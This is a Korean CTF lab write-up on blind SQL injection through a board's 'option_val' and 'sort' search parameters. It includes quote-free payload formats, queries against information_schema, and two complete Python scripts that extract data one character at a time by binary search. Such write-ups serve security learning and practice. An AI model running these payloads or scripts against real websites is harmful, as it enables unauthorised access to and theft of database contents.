Almon Dev

ctf 풀이 (SQL Injection Point 3) 본문

모의해킹/모의해킹

ctf 풀이 (SQL Injection Point 3)

Almon 2024. 12. 11. 03:34

ctf 문제 풀이

 

 

SQL Injection Point 3

 

 

SQLI Point

https://almon.tistory.com/47에서 분석했던 기능이 거의 그대로입니다.

2번 문제와 마찬가지로 mypage.php의 쿠키를 이용한 sql injection은 불가능합니다.

 

게시판의 검색 기능을 확인해 보면 sort 파라미터가 추가되어 있는데 아마도 order by절에 사용되는 칼럼명인 듯합니다.

예상 sql : select * from board where user_id = '[session]' and [option_val] = '[board_result]' order by [sort]

sql injection이 가능해 보이는 곳은 option_val와 sort부분입니다.

board_result는 '를 필터링하는 것처럼 보이기 때문에 sql injection이 불가능해 보입니다.

 

option_val 파라미터를 이용해 sql injection이 가능한지 확인해 보겠습니다.

'1'='1' and username을 삽입했을 때는 결과가 나오지 않아서 sql injection이 불가능한가 생각했습니다.

하지만 '를 지우고 1=1 and username을 삽입하니까 결과가 출력됩니다.

 

'를 필터링할 뿐이고 화이트리스트 필터링은 아닌 것 같습니다.

1=1 and username => 결과 응답

1=2 and username => <script>alert('존재하지 않습니다.')</script> 응답

 

이번에는 sort 파라미터를 이용한 sql injection이 가능한지 확인해보겠습니다.

order by에 (select 1 union select 2 where (조건문))을 삽입해서 결과를 출력해보았습니다.

조건문이 참이면 order by절의 row가 2개가 되어 sql문에 에러가 발생하게 됩니다.

조건문이 거짓일때는 select 1만 실행되어 결과가 제대로 출력됩니다.

 

참과 거짓을 이용한 blind sql injection이 가능합니다.

 

option_val

공격 format 만들기

'를 사용하지 않고 sql문을 만들어야 합니다.

기본 format : (조건문) and username

substring((sql), [index],1) => sql문의 결과 한 글자를 추출합니다.

ascii( substring((sql), [index],1) ) > [ascii] => 추출한 결과를 ascii 숫자로 변환해 비교합니다.

완성된 format : ( ascii( substring((sql), [index],1) ) > [ascii] ) and username

 

Python 코드 제작

코드는 https://almon.tistory.com/45와 거의 동일합니다.

 

SQL_Injection_Point_3_1.py

import requests

def sqli_request(session, url, sql, index, ascii):
    data = {
        "option_val": f"(ascii(substring(({sql}), {index},1)) > {ascii}) and username",
        "board_result": "te",
        "board_search": "%F0%9F%94%8D",
        "sort": "title",
    }

    fail_message = "alert('존재하지 않습니다.')"

    response = session.post(url, data=data)
    # print(response.text)
    if fail_message in response.text:
        return False
    else:
        return True

url = "http://ctf2.segfaulthub.com:7777/sqli_8/notice_list.php"
login_url = "http://ctf2.segfaulthub.com:7777/sqli_8/login.php"
session = requests.Session()
sql_result = ""

response = requests.post(login_url, data={
    "id": "admin1234",
    "pw": "12345",
}, allow_redirects=False)

session_id = response.cookies.get_dict()["PHPSESSID"]
session.cookies.set("PHPSESSID", session_id)

while True:
    sql = input("SQL \u1433 ")
    if sqli_request(session, url, sql, 1, 0):
        index = 1
        while True:
            if sqli_request(session, url, sql, index, 0):
                left = 0
                right = 127
                while True:
                    mid = (left + right) // 2
                    if sqli_request(session, url, sql, index, mid):
                        left = mid + 1
                    else:
                        right = mid

                    if left == right:
                        index += 1
                        sql_result += chr(right)
                        print(f"\rData : {sql_result}", end="")
                        break

            else:
                sql_result = ""
                print("\n")
                break
    else:
        print("Fail : ", sql, "\n")

 

데이터 추출

'가 필터링이 되기 때문에 '를 사용하지 않고 sql문을 완성해야 했습니다.

db 명 => database()

 

talbe 명 => select table_name from information_schema.tables where table_schema=(database())

 

column 명 => select column_name from information_schema.columns

where table_schema=(database())

and table_name=( select table_name from information_schema.tables where table_schema=(database()) limit 1,1)

 


sort

공격 format 만들기

sql : sql : select * from boards where user_id='tester' username=te order by [입력값]기본 format : (select 1 union select 2 where (조건문))substring((sql), [index], 1) => sql문의 결과를 한 글자씩 추출합니다.ascii( substring((sql), [index], 1)  ) > [ascii] => 추출한 글자를 ascii 숫자로 변환하여 비교합니다.완성된 format : (select 1 union select 2 where ( ascii( substring((sql), [index], 1)  ) > [ascii]  ))

 

Python 코드 제작

코드는 https://almon.tistory.com/45와 거의 동일합니다.

 

SQL_Injection_Point_3_2.py

import requests

def sqli_request(session, url, sql, index, ascii):
    data = {
        "option_val": "username",
        "board_result": "te",
        "board_search": "%F0%9F%94%8D",
        "sort": f"(select 1 union select 2 where (ascii(substring(({sql}), {index}, 1)) > {ascii}))"
    }

    # response = session.post(url, data=datas, proxies=proxies)
    response = session.post(url, data=data)
    # print(response.text)

    true_message = "alert('존재하지 않습니다.')"
    if true_message in response.text:
        return True
    else:
        return False

session = requests.Session()
url = "http://ctf2.segfaulthub.com:7777/sqli_8/notice_list.php"
login_url = "http://ctf2.segfaulthub.com:7777/sqli_8/login.php"
sql_result = ""

response = requests.post(login_url, data={
    "id": "tester",
    "pw": "1234"
}, allow_redirects=False)
session_id = response.cookies.get_dict()["PHPSESSID"]
session.cookies.set("PHPSESSID", session_id)

proxies = {
    "http": "http://localhost:8080"
}

while True:
    sql = input("SQL \u1433 ")
    error = False
    if sqli_request(session, url, sql, 1, 0):
        index = 1
        while True:
            if error:
                print(f"\nFail : {sql}\n")
                break

            if sqli_request(session, url, sql, index, 0):
                left = 0
                right = 127
                while True:
                    mid = (left + right) // 2
                    if sqli_request(session, url, sql, index, mid):
                        left = mid + 1
                    else:
                        right = mid
                    
                    if left == right:
                        if left == 127:
                            error = True
                        index += 1
                        sql_result += chr(right)
                        print(f"\rData : {sql_result}", end="")
                        break
            else:
                sql_result = ""
                print("\n")
                break
    else:
        print("Fail : ", sql, "\n")

 

데이터 추출

 

 

마무리

https://almon.tistory.com/47에서 찾았던 sqli point중 게시글 확인을 제외하고는

모두 사용해보았습니다. 게시글을 확인하는 곳에서 발생하는 sqli는 다음 문제에서 해보겠습니다.